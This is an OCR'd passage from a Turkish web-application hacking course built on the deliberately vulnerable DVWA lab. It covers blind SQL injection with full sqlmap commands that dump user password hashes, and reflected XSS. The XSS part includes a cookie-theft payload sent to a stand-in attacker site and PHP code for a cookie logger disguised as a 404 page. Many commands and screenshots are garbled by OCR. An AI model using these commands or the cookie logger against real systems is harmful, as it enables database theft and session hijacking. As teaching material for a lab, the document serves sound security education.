--technique=B ifadesi SQLMap'in Blind teknigiyle saldirmasini saglar. Blind teknigi SQLMap'te
saldiri ydntemlerinden sadece birisidir.

NOT: Eger sanal makineden ana makinenizdeki DVWA'ya ulagsamazsaniz durumunuzu acikladiginiz
takdirde yardimci olabilirim.

Saldir:
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root@kali: ~

File Edit View Search Terminal Help
:~# sqglmap -L gli_blind/?id=
l1&Submit=Submit#" --cooki Lul4Sd4oftrdmml ™

-p id --technique=B --dbms

Yukaridaki komutu ENTER'ladiginizda birka¢ saniye igerisinde sizden bir onay isteyecektir. y
tusuna basin ve tekrar ENTER'layin. Boylelikle hedef veritabani yonetim sistemindeki tim
yukli veritabanlarini SQLMap'e Blind SQL Injection yontemiyle buldurtmus olursunuz.

L

nowasp
performance_schema
phpmyadmin

Simdi sirali veritabani isimleriden birini secelim ve segtigimiz veritabaninin tim tablolarini
SQLMap'e yine Blind teknigiyle buldurtalim (Dersin hedefi geredi dvwa adli veritabani
secilmelidir):

sqlmap -u "http://192.168.0.16/dvwalvulnerabilities/sqli_blind/?id=1&Submit=Submit#" --
cookie="security=low;PHPSESSID=evio76avk41tlsOordo6g31gh2" -p id --technique=B --
dbms=MySQL -D dvwa --tables

Gordldugu Uzere yukaridaki kodda dvwa adh veritabani koda eklendi ve bu veritabanina ait
tablolarinin bulunmasi i¢in dncekinden farkli olarak --tables parametresi eklendi.

Saldiri:

root@kali: ~

File Edit View Search Terminal Help
:~# sglmap -u "http://192.168.0.16/dvwa/vulnerabilitie gli_blind/?id=
l1&Submit=Submit#" --cooki curity=low; PHPSESSID=pb8ql rggapnclul4S4oftrd4mml"

iq
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Dersin Hedefi geredi kullanici adi ve sifrelere ulagsmamiz gerekiyor. O nedenle sirali
tablolardan users isimizi gorir nitelikte. Onu secelim ve users tablosunun kolonlarini
SQLMap'e blind teknigiyle buldurtalim:

sqimap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --
cookie="security=low;PHPSESSID=evio76avk41tlsOordo6g31gh2" -p id --technique=B --
dbms=MySQL -D dvwa -T users --columns

Saldirr:

root@kali: ~

File Edit View Search Terminal Help
:~# sqglmap -u "htt 5 E vulnerabilities/sqgli blind/?7id=

1&Submit=Submit y O k: S1ID= N83miBbaphvhe78teeidl" -
p id --technique=B --d ) dvwe columns

Cikt:

dvwa
Table: users
[8 columns]

Column

varchar(

int(3)
varchar(ls)
timestamp
varchar(l5s)
varchar(32)
int(6)

En nihayetinde kolonlardan user, password'l segelim ve dederlerini SQLMap'e yine Blind SQL
Injection yontemiyle buldurtalim:

sqlmap -u “http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --
cookie="security=low;PHPSESSID=evio76avk41tlsOordo6g31gh2" -p id --technique=B --
dbms=MySQL -D dvwa -T users -C user,password --dump

Yukaridaki kodu terminale girdiginizde SQLMap sizden tespit ettigi hash halindeki parolalari
bir dosyaya kaydetmek igin izin isteyecektir. Kaydetsin diyorsaniz y, kaydetmesin diyorsaniz
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n'yi tuglayin ve ENTER'layin. Ardindan hash'lerin sozluk saldirisi ile kirilmasini istiyorsaniz vy,
istemiyorsaniz n'yi tuslayin ve tekrar ENTER'layin. ikisine de n diyerek asagidaki giktiy
beklemeksizin alabilirsiniz:

Saldiri:

root@kali: ~

File Edit WView Search Terminal Help

f sglmap -u "h
mit#" =

Database: dvwa
Table: users
E[5 entries]

8d3533d75ae2c3966d7e0d4fccE69216b
admin 5f4dcc3b5aa765d61d8327deb882c fS9
gordonb
pablo 0d107d0S t5bbed4BOcade3deS5c/71e9e8b7
smithy 5f4dcc3b5aa765d61d8327deb882c f99

NOT: Hash demek parolalarin sifrelenmis, diger bir deyisle 6zeti alinmis haline denir. Sifrelenmis
parolalari kirmak igin Ders 14 - SQL Injection (Low Level) yazisinin Ekstra bashgini okuyabilirsiniz.
Burada tekrarlanmayacaktir.

Bdylece belki binlerce denemeyle karakter karakter tespit ederek ulasabileceginiz DVWA'nin
kullanici adlarini ve sifrelerini SQLMap ile zahmetsiz bir sekilde elde etmis oldunuz.
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DERS 18 - BLIND SQL INJECTION (MEDiUM LEVEL)

Bu yazida glvenlik duzeyi Medium seviyesine yukseltiimis DVWA'ya karsl halen Blind SQL
Injection saldirisi yapilabiliyor muyu ele alacagiz.

Dersin Hedefi
Sinirlari agin ve yine Blind SQL Injection ile admin'in sifresini ele gegirin.

Uyari

Bu yazi Ders 17 - Blind SQL Injection (Low Level) yazisinin devami niteliginde oldugundan
dolayi kopukluk yasamamak icin éncelikle o yaziyr okumanizi siddetle éneririm. Aksi takdirde
orada detaylandiriimis fakat burada detaylandiriimamis olan Blind SQL Injection mantigini ve
SQLMap kullanimini anlayamacaksiniz.

Blind SQL Injection'a Kars1 Korunma

Gecen derste Blind SQL Injection'in mantigindan bahsetmistik. Ardindan bu mantigin
otomatiklestirildigi bir aragtan, SQLMap'ten, bahsetmistik. Tim bu saldirilari yapabiliyor
olmamizin nedeni asagidaki kaynak koddan dolayiydi:

Low Level:

<?php

if{ isset( % _GET[ '"Submit® ] )} ) {
Ff Get input
fid = §_GET[ ‘id' ];

fif Check database
fgetid = “SELECT first_name, last_name FROM users WHERE wser_id = '$id';";
fresult = mysql_gquery( %getid ); // Removed 'or die' to suppress mysgl errors

Ff Get results
fnum = @mysql_numrows({ %result ); /f The '@' character suppresses errors
if{ $num > @ ) {

[/ Feedback for end user

echo '"User ID exist=s in the database.’;

else {
/{ User wasn't found, so the page wasn't!
header( % SERVER[ 'SERVER PROTOCOL' ] . ' 484 Not Found' );

ff Feedback for end user
echo "User ID iz MISSING from the database.’;

¥
mysql_close();

¥

5. satirda DVWA ekranindaki metin kutusuna girilen veri $id degiskenine atanmaktadir ve $id
degiskeni aldigi veriyle oldugu gibi 8. satirdaki SQL sorgusunda kullaniimaktadir. Sikinti
buradadir. Giivenlik zafiyetinin temel nedeni burasidir. $id degiskeni 6nceki derslerden de
o6grendiginiz Uzere denetlenmeye tabi tutulmahldir. Denetlenmedigi icin, igindeki zararli
karakterler ayiklanmadidi i¢in ya da bloklanmadigi igin biz gegen ders Blind SQL Injection
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saldinisinda bulunabildik. Peki Medium seviyesi bize guvenlik agisindan nasil bir ¢ozim
getiriyor bir bakalim:

Medium Level:

<?php

i

i
[y}
i iom o+

if(

I S L

§ POST[ "Submit® ] 3 3 {
input

§& POST[ 'id" ];

mysql_real escape_string({ %id );

b B e, e
+

/ Check database
getid = "SELECT first_name, last_name FROM users WHERE user_id = Sid;";
result = mysql_query({ $getid ); // Removed 'or die' to suppress mysgl errors

e B s

ff Get results
fnum = @mysql_numrows{ $result ); // The '@' character suppresses errors
if{ $num > @ ) {

// Feedback for end user

scha "<prexUser ID exists in the database.</pre>’;

else {
// Feedback for end user
scha '<prerUser ID is MISSING from the datsbase.</pre:";

¥

fimysgql_close();

B

Medium level guvenlik onlemi olarak 6. satirda  gorebilecediniz  Uzere
mysql_real_escape_string() fonksiyonu metin kutusundan gelen veriden SQL sorgusu igin
komut niteliginde olan karakterlerin 6nlne ters slash koyarak string'lestirmektedir. Yani
komutluktan c¢ikarip diz metin haline getirmektedir. Gértunligste tamam gibi gorunebilir.
Guvenlik kusursuz denebilir. Fakat ge¢gmis dersleri takip edenlerin bilecegi Uzere 9. satirda
PHP'nin syntax'inin esnekligi dolayisiyla tirnaksiz sekilde bir SQL sorgusu kullanildigindan
dolayr 6. satirdaki guUvenlik onlemini bosa c¢ikaracaktir. Cunkd 6. satirdaki
mysql_real_escape_string() fonksiyonu metin kutusundan gelen veride tek tirnak karakteri
arayacaktir. Fakat 9. satirda gorebileceginiz Gizere $id degiskeni SQL sorgusuna tirnaksiz dahil
edildiginden saldirgan enjekte edecedi kodlar i¢in tek tirnak kullanmak mecburiyetinde
kalmayacaktir. Dolayisiyla tirnagin énidne ters slash koyan mysql_real_escape_string()
fonksiyonu ters slash koyacak bir tirnak bulamayacaktir. Tirnaksiz sql injection kodu da
PHP'nin esnekligi sayesinde kusursuzca galisacaktir. Sonug olarak guvenlik asiimis ve sql
injection saldirisinda yine bulunulmus olunacaktir.

Simdi tekrar Blind SQL Injection saldirisi diizenlenecektir, fakat bir farkla. Onceki dersin DVWA
ekraninda enjeksiyon kodu girebilecegimiz metin kutusu vardi. Guvenlik Medium seviyesine
yukseltildiginde ise ekranda veri girebilecegimiz bir segenek yoktur. Aksine hazir sunulmus
verilerden bir tanesini segmemizi isteyen bir comboBox vardir:
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Vulnerability: SQL Injection (Blind)

UseriD:j1 r I_Sur:rmit

More In mation

oL B La M

[ W

Bu comboBox'a enjeksiyon kodu girebilmek icin tarayicinizdan ilgili DVWA ekranina gegin.
ComboBox'a sag tiklayin ve Ogeyi Denetle (Inspect Element) secenegine tiklayin. Bunun
Uzerine tarayicinizin alt tarafinda kui¢ik bir pencere acgilacaktir. O pencerede mavi renkle segili
bir satir goéreceksiniz. O satinn basindaki Uggene basarak satiri genisletin.

(| Elements Console Sources Network Timeline Profiles Resources Audits
¥ <p -

User ID:

¥ <select name="id">

option value="1">1=/option
option value="2"=2=/option
option value="3"=3</option
option value="4"=4=/option -

Acilan secgeneklerden value'su 1 olanin (value="1") tirnaklarinin igerisindeki 1'e ¢ift tiklayin.
Asagida ne zaman bir SQL Injection kodu verilirse bu cift tikladiginiz yerdeki 1'i silip yerine
enjeksiyon kodunu koyun ve ardindan ENTER yaptiktan sonra ekrandaki Submit butonuna
basin. Bdylece enjeksiyon saldirisinda bulunabilirsiniz.

Gegen ders anlatilan uzun ve mesakkatli deneme yaniimalari yukarida bahsedilen o
penceredeki value="1" 'in 1 sayisi yerine girip Submit butonuna tiklamaniz gerekir. Fakat
madem gecen ders bunun mantidi anlatildi, bir daha ayni islemleri tekrarlamaya |Gzum yok.
Bunun yerine Medium seviyesinin getirdigi bir farklihk olan POST methodu Uzerine
yogunlasalim. Gegen ders metin kutusuna girilen veriler (enjeksiyon kodlari) URL'nin sonuna
parametre olarak ekleniyordu. Dolayisiyla SQLMap'i kullanirken kodlamada GET methodu
takip edilmisti. Simdi ise guvenlik seviyesi Medium oldugu igin olsa gerek comboBox'tan
segilen degerler (dahil edeceginiz enjeksiyon kodlari) URL'nin sonuna eklenmeden sunucuya
gitmektedir. Yani POST methodu kullaniimaktadir. iste bu yeni durumu SQLMap'le asabilmek
icin --data parametresi kullanilacaktir.

Bu yazida daha 6nceki yazida oldugu gibi sanal makinede kurulu igletim sistemi Kali'den ana
makinadaki DVWA'ya saldirmayi simule edecegimiz. Oncelikle Medium seviyesindeki
DVWA'nin POST methoduyla génderdigi degisken ve degerlerini tespit etmeliyiz. Bunun igin
Kali'deki tarayicinin Eklentiler kismina gelin. Eklenti edin sekmesine tiklayin ve arama
cubuguna Live HTTP Headers yazin.

TUBITAK — BILGEM — Siber Guvenlik Enstitis 174



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Tue Jan 19, 9:03 PM

Add-ons Manager - Iceweasel

File Edit View History Bookmarks Tools Help

[ Vulnerability: SQL In... % | «f& Add-ons Manager x Vulnerability: SQL In... % | &
€ O iceweasel | about:addons ~ ¢ | [Bv Google o v Ba ¥ A Ov =
[5 Most Visited ™~ Web Application Expl... { Deep Dark Invisible W... Hook Me!
=]~ Q|

4+ Get Add-ons

¢z Extensions e
u rewall, putting you in full
o connect, what type of data

iMatrix is a point-and-cli

rol of where y;

& User Scripts ¥ fan downion

[ Appearance
Plugins m .m)

G Services Featured Add-ons

Ardindan asagidaki resimde gérilen segenegi tarayiniza yikleyin.

Tue Jan 19, 9:04 PM

Add-ons Manager - Iceweasel
File Edit View History Bookmarks Tools Help
Vulnerability: SQL In... % | & Add-ons Manager x Vulnerability: SQL In... % | &2
€ O Iceweasel | about:addons v & | B Google QA v 8 3+ A O~ =
[ Most Visited ™ Web Application Expl... Deep Dark Invisible W... { Hook Me!
@ml~ | Live HTTP Headers Q
Name Last Updated | |&| Best match
O, search Search: O My Add-ons @ Available Add-ons
4+ Get Add-ons (]
- '3 Install
a& Extensions 7% HTTP Header Mangler 1.1 07/24/15
3 == HTTP Header Mangler inserts HTTP headers on a per host basis. More Install
€S User Scripts .
& Header Spy 1.3.4.3.1-signed 06/19/12

Daha sonra Eklentiler sekmesinden tarayicinizi yeniden bagslatin ve tekrar Eklentiler
sekmesine gelip yuUklediginiz eklentinin Tercihler butonuna tiklayin. Artik surf yaparken
gonderdiginiz HTTP Header'larini bu eklentinin penceresi Uzerinden gézlemleyebileceksiniz.
Simdi DVWA'daki comboBox'in yaninda yer alan Submit butonuna bir defa tiklayin. Live HTTP

Headers eklentisi agsagidaki gibi bir icerikle sizi karsilayacaktir.
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Live HTTP headers

[

Headers Generator Config About

HTTP Headers
POST /dvwa/vulnerabilities/sgli_blind/ HTTP/1.1 e
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/3...
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*:9q=0.8
Accept-Language: en-U5.en;q=0.5
Accept-Encoding: gzip. deflate
Referer: http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; PHPSESSID=efh7bv45kpqqfu66racal5ho0l |E|
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

HTTP/1.1 200 OK
Date: Tue, 19 Jan 2016 18:56:59 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14 (~]

ni ] L4 .

Save AllL... Replay... ) Capture Clear Close

Mavi satiri kopyalayin. Bu kopyaladiginiz veriyi asagidaki --data="" 'nin igerisine
yapistiracaksiniz. Simdi Kali'den bir terminal agin ve asagidakileri terminale girin:

sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/#" --cookie="security=medium;
PHPSESSID=4g9rms6doiou9klkjrnurtnls3"  --data="id=1&Submit=Submit" -p id --
technique=B --dbms=MySQL --dbs

Kirmizi renkli alanlari kendinize gére doldurmalisiniz. ilk iki kirmizi alan igin gecen dersneye
g0re doldurmaniz gerektigine dair bilgilendirme yapildi. 3. kirmizi alana Live HTTP Header'dan
kopyaladiginiz veriyi yapistirin. Béylece SQLMap'e enjeksiyon yapabilecegi id parametresini
gOstermis olursunuz.

Saldirr:

root@kali: ~

File Edit WView Search Terminal Help

TUBITAK — BILGEM — Siber Guvenlik Enstitis 176


http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-17---Blind-SQL-Injection-Low-Level.php

TASNIF DISI Web Uygulamalarini Ele Geg¢irme Egitimi

dvwa
information_:

mysql

nowasp
performance schem
phpmyadmin

Gorlldugu tzere enjeksiyon basarili bir sekilde tamamlandi ve veritabani isimleri ekrana akti.

Veritabani olarak dvwa'yi secelim ve tablolarini kesfedelim.

sqlmap -u "http://192.168.0.16/dvwal/vulnerabilities/sqli_blind/#" --cookie="security=medium;
PHPSESSID=4g9rms6doiou9k1kjrnurtnls3" --data="id=1&Submit=Submit" --technique=B --

dbms=MySQL -D dvwa --tables

Saldir:

root@kali: ~

File Edit View Search Terminal Hel
sglmap -u “"http:

security=medium;PHPS 5d ouSklkj rnrurtnlis3”
' =p id --technique=B ySQ =D dwwa --tables

Tablo olarak users'i segelim ve kolonlarini kesfedelim.

sqlmap -u "http://192.168.0.16/dvwal/vulnerabilities/sqli_blind/#" --cookie="security=medium;
PHPSESSID=4g9rms6doiou9klkjrnurtnls3" --data="id=1&Submit=Submit" --technique=B --

dbms=MySQL -D dvwa -T users --columns

Saldiri:
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root@kali: ~

| File Edit View Search Terminal Help

vdlnerabiliti
d iou9klk]j rrurtn 3"
y id --techniqu 3 db MySQL -D dwvwa -T us

varchar(ls)
varchar(70)
int(3)
varchar(ls)
timestamp
varchar(ls)
varchar(32)
int{g)

user ve password kolonlarini secelim ve bu kolonlarin tuttugu degerleri tespit edelim.

sqlmap -u "http://192.168.0.16/dvwal/vulnerabilities/sqli_blind/#" --cookie="security=medium;
PHPSESSID=4g9rms6doiou9k1kjrnurtnis3" --data="id=1&Submit=Submit" --technique=B --
dbms=MySQL -D dvwa -T users -C user,password --dump

Saldiri:

root@kali: ~

| File Edit View Search Terminal Help
:~# sglmap -u "http . ] .G 6/dvwa/vulnerabilities gli _blind/#"
-cookie="security=medium;PH ) =4 - i kKlkj rrurtnls3 ata="id= ubm

it ibmit"” -p id --technique=B --dbms=MySQL -D dvwa -T users -C user,password --
dump

Gelen soru igin n'yi tuslayin ve ENTER'layin. Ardindan bir kez daha n'yi tuslayin ve
ENTER'layin. Bdylece Blind SQL Injection saldirisiyla bu sefer POST methodu Uzerinden
hedef veritabanindaki kullanici adi ve sifreleri ele gecirmis olduk.

Cikti:
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Database:
Table:

admin
gordonb
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DERS 19 - REFLECTED XSS (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin glvenlik zafiyetinden
faydalanarak XSS yoluyla saldirida bulunulacaktir.

Dersin Hedefi
DVWA adli web uygulamasindaki kullanicinin oturumunu senaryo geregi ¢alin.

Reflected XSS Nedir?

Acilimi Cross-Site Scripting olan XSS saldirilari Reflected XSS, Stored XSS ve DOM XSS
olmak Uzere Uge ayriimaktadir. Reflected XSS saldirisi bir web uygulamasinin veri giris
noktalarinda eger denetlemef/filtreleme/bloklama mekanizmalari yoksa ve saldirganin bu veri
girig noktasina girdigi script kodlari (6rn; javascript, visual basic script) sayfaya ¢ikti olarak
"yansitiliyorsa" saldirganlarin bu yolla kendi degerlerini sayfaya yansittirmasi islemine denir.
Reflected kelimesi Turkgede "yansitiimis" anlamina gelmektedir. Stored XSS saldirisi, bir web
uygulamasinin veri giris noktalarinda eger denetlemef/filtreleme/bloklama mekanizmasi yine
yoksa ve saldirganin bu veri giris noktasina girdigi script kodlari (6rn; javascript, visual basic
script) veritabanina kaydolarak sayafaya ¢ikti olarak yansitiliyorsa saldirganlarin bu yolla keni
degerlerini veritabanina kaydedip sayfaya yansittirmasi islemine denir. DOM XSS'e gelince bu
saldiri ise saldirganin (icerisine script kodlari ekleyerek) 6zenle hazirladidi bir url'i internette
bir yolla paylasmasi sonrasi linke gidildiginde kodlarin sunucuya hi¢ gitmeden (istemci)
tarayicida déndp ekrana yansitilmasina denir.

Ozetle; Reflected XSS, saldirganin girdigi kodlarin sunucuya gidip sunucuda barinmadan
(istemcilere) geri dondugu saldirilara denir. Stored XSS, saldirganin girdigi kodlarin sunucuya
gidip sunucuda bir depolama formatinda saklandigi (6rn; veritabani) ve bu depolamadan
(istemcilere) geri dondugu saldirilara denir. DOM XSS, saldirganin girdigi kodlarin sunucuya
gitmeden istemci tarayicisindan istemci tarayicisina déondiga saldirilara denir.

NOT: Bu yazida Stored XSS saldirisi diizenlenmeyecektir. Ciinkii bu sonraki yazinin konusudur.

Reflected XSS Nasil Yapilir?

Oncelikle DVWA'nin bize sundugu Reflected XSS sayfasini bir inceleyelim. Asagida
DVWA'nin Reflected XSS sayfasinda bizi karsiladigi igerigi gérmektesiniz.

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name? Submit

Ekranda gérdiugunidz metin kutusuna girilecek bir veri sonrasi Submit butonuna bastiginiz
takdirde girdiginiz veri ekrana yansitilacaktir.
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Vulnerability: Reflected Cross S

What's your name? |hasar| || submit

Hello hasan

Bu mekanizmay! analiz edecek olursak
Baslangicta Link:

http://localhost/dvwa/vulnerabilities/xss_r/

Veri Submit'lenince Link:

http://localhost/dvwa/vulnerabilities/xss_r/?name=hasan

Gordaldigu Uzere metin kutusuna hasan kelimesi girildiginde linke name parametresi ve deger
olarak da hasan kelimesi eklenmektedir. Yani bu su anlama gelir: Sizin metin kutusuna hasan
kelimesini girip Submit butonuna basmanizla hasan kelimesinin oldugu linki tarayicinizin adres
cubuguna girip ENTER'lamaniz arasinda bir fark yoktur. Ikisi de ayni isi yapmaktadir.
Dolayisiyla bu iligkiyi bilen saldirgan kendi hazirladidi linki kurbana tiklatarak sanki kurban
metin kutusuna veri girmis de Submit'lemis gibi bir duruma sokulabilir.

Yukarida anlatildigi gibi kullanicidan gelen verinin ekrana yansitildigi bir isleyise sahip web
sitelerinde eger metin kutusundan ya da link parametresinden gelen verilere karsi bir
denetleme uygulanmazsa o siteler Reflected XSS saldirilarina maruz kalabilirler. Ctinku filtre
yoksa kot niyetli bir kullanici ilgili noktalara - metin kutusuna ya da link parametresine -
javascript kodu girebilir. Javascript kodu girebilmesi demek su demektir: Saldirgan javascript
dilinin verdigi tim olanaklari hedef site Uzerinde deneyebilir. Javascript dili web geligtiricileri
icindir ve dyle de kalmalidir. Aksi takdirde bu dil saldirganlarca ¢alip ¢irpma igin kullanilabilir.

Simdi DVWA'nin bizlere sundugu Reflected XSS sayfasi Reflected XSS zafiyetine sahip mi
degil mi kesfedelim. Metin kutusuna ekranda popup penceresi ¢ikarmaya yarayan asagidaki
javascript kodunu girin:

<script>alert('Sayfa XSS Ac¢igina Sahip');</script>

Veyahut tarayicinizin adres gcubuguna asagidakini girin:

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>alert(‘Sayfa XSS A¢idina
Sahip’);</script>

Yukaridakilerden herhangi biri yapildidi takdirde ekrana javascript kodlari yansitilacaktir ve
ardindan tarayici bu kodlari yorumlayip ekrana bir popup penceresi getirecektir.
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/vulnerabilities/xss_r/?name=<script>alert('Sayfa+XSS+Acigina+Sah x | |Q search B @ 3 A

Sayfa XSS Acgigina Sahip

Bu pencere eger geldiyse demek ki hedef site kullanicidan gelen javascript kodlarini
engellemiyor demektir. Yani site XSS ac¢idina sahip demektir.

NOT: Eger yukarida anlatilan islemi Chrome tarayicisinda denerseniz site zafiyete sahip olsa dahi
popup penceresi gelmeyecektir. Bunun nedeni Chrome'un giivenlik nedeniyle GET ya da POST ile
gelen javascript komutlarinin ¢alismasini engelliyor olusundan dolayidir. Engelledigine dair bildirimi
F12'ye basip Konsol sekmesindeki kirmizi uyaridan gérebilirsiniz. XSS zafiyet tespiti icin baska bir
tarayici kullanin.

Peki saldirgan hedef sitenin XSS agigina sahip oldugunu 6grendikten sonra ne yapabilir? Misal
vermek gerekirse saldirgan hedef siteyi ziyaret eden kurbanin DVWA'ya ait gerezini galabilir.
Bdylece saldirgan kurbanin kullanici adi ve sifresini bilmeden kurbanin gereziyle hedef sitede
kurban adina oturum acabilir. Bu nasil olur sorusunu gOyle bir saldirn senaryosuyla
aciklayalim:

Bir sayfaya yonlendiren Javascript kodu:

window.location.href="saldirganinsitesi.com/index.php”;

Bir sayfaya yonlendirirken gerezi de beraberinde yollayan Javascript kodu:
window.location.href="saldirganinsitesi.com/index.php?cookie=" + document.cookie;
Hazirlanmis Nihai Link:

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>
window.location.href="saldirganinsitesi.com/index.php?cookie=" + document.cookie;</script>

Yukaridaki nihai linkten goérllebilecedi Uzere saldirgan hedef sitenin zafiyetini bildigi icin
parametreye javascript kodu girmistir. Girilen javascript kodu gerezi alip saldirganin sitesine
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gondermeye yarayan bir yonlendirme kodu icermektedir. Simdi diyelim ki dvwa uygulamasi
cok kullanicili bir web sitesi. Bu web sitesine Gye olan birgok kimseye saldirgan yukaridaki
hazirladigi linki postalamis olsun. Epostayl alan sahislar dvwa adli zafiyete sahip sitede
oturum agmis vaziyette iken eposta adreslerine gelen bu linke tikladiklarinda 6nce DVWA'ya
giderler, ardindan parametredeki javascript komutu calistiinda DVWA'daki c¢erezlerini
beraberinde alarak saldirganin sitesine yonlendirilirler. Béylece saldirgan kendi web sitesinde
hazirladigi PHP kodlamasi ile kurbanlarin gerezlerini ¢almis olur. Akliniza sdyle bir soru
gelmesi gerekir: Niye saldirgan béyle dolambagcli yollara giriyor da direk kendi sitesinin linkini
epostayla kurbanlara géndermiyor? Bunun nedeni sudur: Kullanicinin DVWA'ya ait oturum
cerezi sadece DVWA sayfasi tarayici ekranindayken ulasilabilirdir. Yani kullanici ayni
tarayicinin baska sekmesine gectiginde - mesela epostasina bakmak igin hotmail'ine
gectiginde - current cookie, diger tabirle o an ki cookie sayfaya gore degismektedir. Saldirganin
hedefi ise DVWA oturumunu c¢almaktir. Cunku zafiyete sahip site DVWA'dir. Bu ylzden
saldirgan kurbani 6nce zafiyete sahip web sitenin sayfasina gonderir, orada javascript
kodunun sayfaya yansitilip calismasini bekler, calistiginda kurbanin DVWA'ya ait ¢erezi sayfa
yonlendirme linkinin sonuna eklenir ve nihayetinde sayfa yonlendirme komutu kurbani
saldirganin sitesine gdnderir. isleyis bu sekildedir.

Kurban saldirganin sayfasina yonlendirilirken aslinda tipki tarayicinin adres ¢ubuguna
saldirganin web sitesinin adresini girip ENTER'lamasi gibi saldirganin sunucusuna bir talepte
bulunmaktadir. Talebi alan saldirganin  sunucusu kendisine gelen linkteki (
saldirganinsitesi.com/index.php?cookie=e01155fb8e87cae09cc0 ) cerez verisini
$ GET['cookie’] gibi bir kodlamayla ¢ekip bir dosyaya yazdirabilir. Boylece saldirgan aldigi
cerezlerden birini kendi tarayicisina dahil ederek var olan bir dvwa kullanicisinin oturumunu
devralabilir (calabilir). Bu anlatilan islemin bir 6rnegdi birazdan sizlere sunulacaktir.

Kurbanin epostasina gelen linke tiklamasi sonucu yonlendirildigi saldirgana ait sayfadan
kurbanin kuskulanmasini dnlemek icin saldirgan cesitli entrikalara girebilir. Mesela saldirgan
kurbanin yonlendirildigi sayfaya, yani kendi web sitesine “404 Not Found” yazisini (stsini)
koyabilir. Boylece kurbanin yapacadi sey o sekmeyi kapatmaktan bagka bir sey olmayacaktir.
Fakat arkaplanda g¢erezini saldirgana kaptirmis olacaktir. Basindan beri bahsettigimiz ¢cerezleri
kurbanlardan calip ekrana 404 Not Found uyarisi veren sayfanin PHP kodlamalari merak
edenler icin asagida verilmistir:

<html>
<head:>
<title>4@4 Mot Found</title:
</head>
<body>
484 Mot Found
< *php
$ip = $_SERVER["REMOTE_ADDR"]; // sayfaya girenin ip’si alimir.
cookie = $_GET["cookie"]; // Hazirlanmis linke tiklayanin c¢erezi alinmar.
$dateTime = date('d.m.y “t H:i:s'); // Kurbanin hazirlanmis linke tikladigi anki zaman alinar.
§file = fopen{"cerezler.html™, "at+")
furite(ifile, "sesdsdudusaapnanannnangs ##<br:");
fwrite($file, "Kurbanin IP Adresi : " . fip . "<br:");
fwrite($file, "Tiklama Zamani : " . fdateTime . "<br:™);
fwrite($file, "Kurbanin Cerezi : " . fcockie . "<br:™);
furite(3file, "#daddduaadasaisipinangs ##<br><br><br>"});
fclose($file);
2
</body>
</html>

TUBITAK — BILGEM - Siber Giivenlik Enstitiisii 183



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Yukaridaki kodlamalarda saldirgan kendisine gelen taleplerin (linklerin) sonunda yer alan
kurbanlara ait gerezleri cerezler.html adli dosyaya kaydetmektedir. 12. satirda cerezler.html
dosyasi a+ modunda acildigi i¢in gelen her bir ¢cerez birbirinin yerine degilde alt alta gelecek
sekilde cerezler.html dosyasina yerlesecektir. Yani a+ modu sayesinde yeni gelen gerezin bir
onceki cerezin Uzerine yazilmasina mani olunacaktir. Boylece saldirgan ele gecirdigi
cerezlerden birini secip tarayicisina enjekte ederek zafiyet barindiran hedef sitede kurbanin
oturumunu devralabilecektir.

Su ana kadar isin ana hatlari size bahsedilmistir. Fakat pratikte bu isin nasil gerceklestirilecegi
gosterilmemigtir. Bu anlatilanlari pratik olarak uygulayip kullanici adi ve sifre girmeden kurbana
ait oturuma giris yapmay1 deneyimlemek isterseniz siradaki baslik bu konu hakkinda olacaktir.

Ekstra

Simdi yukarida bahsedilenleri kendi makinamizda deneyelim ve gercekten de ¢erezle oturum
devralinabiliyor muyu gorelim. Bu islem icin biz hem kurban olacagiz hem de saldirgan. Bu
nedenle bunu simule edebilmek icin iki farkh tarayiciya ihtiyacimiz vardir. Kurban olarak
Firefox tarayicisini kullanalim. Saldirgan olarak da Chrome tarayicisini kullanalim.

Oncelikle saldirganin sitesini kendi sanal sunucumuzda kuralim. Eger Linux'ta DVWA'y
calistiriyorsaniz  /var/www/ dizini icerisinde saldirganinSitesi adli bir klasoér olusturun,
Windows'ta DVWA'yI calistiryorsaniz C:\xampp\htdocs\ dizini igerisinde saldirganinSitesi adli
bir klasor olusturun. Bu klasérun icerisine index.php adli bir dosya koyun ve dosyanin icerisine
de asagidakileri girip kaydedin.

<html>
<head>
<title>484 Not Found</title>
</head>
<body>
484 Mot Found
< *php
$ip = §_SERVER["REMOTE_ADDR"]; // sayfaya girenin ip'si alimar.
fcookie = §_GET["cookie"]; // Hazirlanmis linke tiklayanin g¢erezi alinir.
$dateTime = date('d.m.y “t H:i:s'); // Kurbanin hazirlanmis linke tikladigi anki zaman alinar.
§file = fopen("cerezler.html™, "a+");
furite(ifile, "sesdsdudusaapnanannnangs ##<br:");
fwrite{3$file, "Kurbanin IP Adresi : " . fip . "<br:");
fwrite($file, "Tiklama Zamani : " . fdateTime . "<br:™);
fwrite($file, "Kurbanin Cerezi : " . fcockie . "<br:™);
furite(3file, "#daddduaadasaisipinangs ##<br><br><br>"});
fclose($file);
2
</body>
</html>

Ardindan Linux kullanicilari terminale agsagidakini girsin:

1 sudo chmod -R 777 /var/www/saldirganinSitesi
Bdylece saldirganin sitesi hazir vaziyettedir. Simdi saldirganin énceki baslikta anlatilan zararli

linkini bir gorelim.

http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>
window.location.href="saldirganinsitesi.com/index.php?cookie=" + document.cookie;</script>

TUBITAK — BILGEM — Siber Guvenlik Enstitis 184



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

